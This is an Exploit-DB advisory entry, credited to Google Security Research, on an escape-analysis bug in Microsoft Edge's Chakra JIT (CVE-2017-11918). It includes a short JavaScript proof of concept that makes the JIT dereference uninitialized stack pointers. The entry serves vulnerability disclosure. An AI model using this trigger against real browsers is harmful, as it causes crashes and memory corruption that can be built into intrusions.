Microsoft Edge Chakra JIT - Escape Analysis Bug

EDB-ID: 43469
Author: Google Security Research
Published: 2018-01-09
CVE: CVE-2017-11918
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis 

Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.

PoC:
*/

function opt() {
let tmp = [];
tmp[0] = tmp;
return tmp[0];
}

function main() {
for (let i = 0; i < 0x1000; i++) {
opt();
}

print(opt()); // deref uninitialized stack pointers!
}

main();

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